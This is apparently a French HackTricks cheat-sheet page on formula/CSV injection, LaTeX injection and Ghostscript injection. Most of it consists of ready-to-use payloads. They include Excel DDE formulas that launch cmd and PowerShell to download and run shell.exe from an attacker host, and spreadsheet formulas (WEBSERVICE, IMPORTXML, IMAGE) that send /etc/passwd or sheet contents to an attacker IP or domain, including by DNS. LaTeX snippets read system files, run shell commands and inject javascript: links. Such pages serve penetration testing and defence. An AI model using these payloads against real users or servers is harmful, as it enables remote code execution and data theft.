Injection de Formule/CSV/Doc/LaTeX/GhostScript
Reading time: 8 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Injection de Formule
Info
Si votre input est rĂ©flĂ©chi Ă l'intĂ©rieur des fichiers CSV (ou de tout autre fichier qui sera probablement ouvert par Excel), vous pourriez ĂȘtre en mesure d'insĂ©rer des formules Excel qui seront exĂ©cutĂ©es lorsque l'utilisateur ouvre le fichier ou lorsque l'utilisateur clique sur un lien Ă l'intĂ©rieur de la feuille Excel.
caution
De nos jours, Excel alertera (plusieurs fois) l'utilisateur lorsque quelque chose est chargĂ© depuis l'extĂ©rieur d'Excel afin de l'empĂȘcher d'agir de maniĂšre malveillante. Par consĂ©quent, un effort spĂ©cial en ingĂ©nierie sociale doit ĂȘtre appliquĂ© au payload final.
Wordlist
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
Hyperlink
L'exemple suivant est trĂšs utile pour exfiltrer du contenu de la feuille Excel finale et pour effectuer des requĂȘtes vers des emplacements arbitraires. Mais cela nĂ©cessite que l'utilisateur clique sur le lien (et accepte les avertissements).
L'exemple suivant a été tiré de https://payatu.com/csv-injection-basic-to-exploit
Imaginez qu'une violation de sécurité dans un systÚme de gestion des dossiers étudiants soit exploitée par une attaque par injection CSV. L'intention principale de l'attaquant est de compromettre le systÚme utilisé par les enseignants pour gérer les détails des étudiants. La méthode implique que l'attaquant injecte un payload malveillant dans l'application, en entrant spécifiquement des formules nuisibles dans des champs destinés aux détails des étudiants. L'attaque se déroule comme suit :
- Injection de Payload Malveillant :
- L'attaquant soumet un formulaire de détails d'étudiant mais inclut une formule couramment utilisée dans les tableurs (par exemple,
=HYPERLINK("<malicious_link>","Click here")
). - Cette formule est conçue pour créer un hyperlien, mais elle pointe vers un serveur malveillant contrÎlé par l'attaquant.
- Exportation de Données Compromises :
- Les enseignants, inconscients de la compromission, utilisent la fonctionnalité de l'application pour exporter les données dans un fichier CSV.
- Le fichier CSV, une fois ouvert, contient toujours le payload malveillant. Ce payload apparaĂźt comme un hyperlien cliquable dans le tableur.
- DĂ©clenchement de l'Attaque :
- Un enseignant clique sur l'hyperlien, croyant qu'il fait partie des détails de l'étudiant.
- En cliquant, des données sensibles (potentiellement y compris des détails du tableur ou de l'ordinateur de l'enseignant) sont transmises au serveur de l'attaquant.
- Enregistrement des Données :
- Le serveur de l'attaquant reçoit et enregistre les données sensibles envoyées depuis l'ordinateur de l'enseignant.
- L'attaquant peut alors utiliser ces données à diverses fins malveillantes, compromettant davantage la vie privée et la sécurité des étudiants et de l'institution.
RCE
Vérifiez le post original pour plus de détails.
Dans des configurations spĂ©cifiques ou des versions plus anciennes d'Excel, une fonctionnalitĂ© appelĂ©e Dynamic Data Exchange (DDE) peut ĂȘtre exploitĂ©e pour exĂ©cuter des commandes arbitraires. Pour en tirer parti, les paramĂštres suivants doivent ĂȘtre activĂ©s :
- Allez dans Fichier â Options â Centre de gestion de la confidentialitĂ© â ParamĂštres du Centre de gestion de la confidentialitĂ© â Contenu externe, et activez Lancement du serveur Dynamic Data Exchange.
Lorsqu'un tableur avec le payload malveillant est ouvert (et si l'utilisateur accepte les avertissements), le payload est exécuté. Par exemple, pour lancer l'application calculatrice, le payload serait :
=cmd|' /C calc'!xxx
Des commandes supplĂ©mentaires peuvent Ă©galement ĂȘtre exĂ©cutĂ©es, telles que le tĂ©lĂ©chargement et l'exĂ©cution d'un fichier Ă l'aide de PowerShell :
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
Inclusion de Fichiers Locaux (LFI) dans LibreOffice Calc
LibreOffice Calc peut ĂȘtre utilisĂ© pour lire des fichiers locaux et exfiltrer des donnĂ©es. Voici quelques mĂ©thodes :
- Lire la premiĂšre ligne du fichier local
/etc/passwd
:='file:///etc/passwd'#$passwd.A1
- Exfiltrer les données lues vers un serveur contrÎlé par l'attaquant :
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
- Exfiltrer plus d'une ligne :
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- Exfiltration DNS (envoi des donnĂ©es lues sous forme de requĂȘtes DNS vers un serveur DNS contrĂŽlĂ© par l'attaquant) :
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
Google Sheets pour l'Exfiltration de Données Hors-Bande (OOB)
Google Sheets offre des fonctions qui peuvent ĂȘtre exploitĂ©es pour l'exfiltration de donnĂ©es OOB :
- CONCATENATE : Ajoute des chaĂźnes ensemble -
=CONCATENATE(A2:E2)
- IMPORTXML : Importe des données à partir de types de données structurées -
=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
- IMPORTFEED : Importe des flux RSS ou ATOM -
=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
- IMPORTHTML : Importe des données à partir de tables ou de listes HTML -
=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
- IMPORTRANGE : Importe une plage de cellules d'une autre feuille de calcul -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
- IMAGE : InsĂšre une image dans une cellule -
=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")
Injection LaTeX
En général, les serveurs que l'on trouve sur Internet qui convertissent le code LaTeX en PDF utilisent pdflatex
.
Ce programme utilise 3 attributs principaux pour (dés)autoriser l'exécution de commandes :
--no-shell-escape
: DĂ©sactive la construction\write18{command}
, mĂȘme si elle est activĂ©e dans le fichier texmf.cnf.--shell-restricted
: Identique Ă--shell-escape
, mais limité à un ensemble 'sûr' de commandes **prédéfinies (**Sur Ubuntu 16.04, la liste se trouve dans/usr/share/texmf/web2c/texmf.cnf
).--shell-escape
: Active la construction\write18{command}
. La commande peut ĂȘtre n'importe quelle commande shell. Cette construction est normalement interdite pour des raisons de sĂ©curitĂ©.
Cependant, il existe d'autres moyens d'exécuter des commandes, donc pour éviter RCE, il est trÚs important d'utiliser --shell-restricted
.
Lire le fichier
Vous pourriez avoir besoin d'ajuster l'injection avec des wrappers comme [ ou $.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
Lire un fichier Ă une seule ligne
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
Lire un fichier Ă plusieurs lignes
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
Ăcrire un fichier
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
Exécution de commandes
L'entrée de la commande sera redirigée vers stdin, utilisez un fichier temporaire pour l'obtenir.
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
Si vous obtenez une erreur LaTex, envisagez d'utiliser base64 pour obtenir le résultat sans mauvais caractÚres.
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
Cross Site Scripting
De @EdOverflow
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Injection Ghostscript
VĂ©rifiez https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Références
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.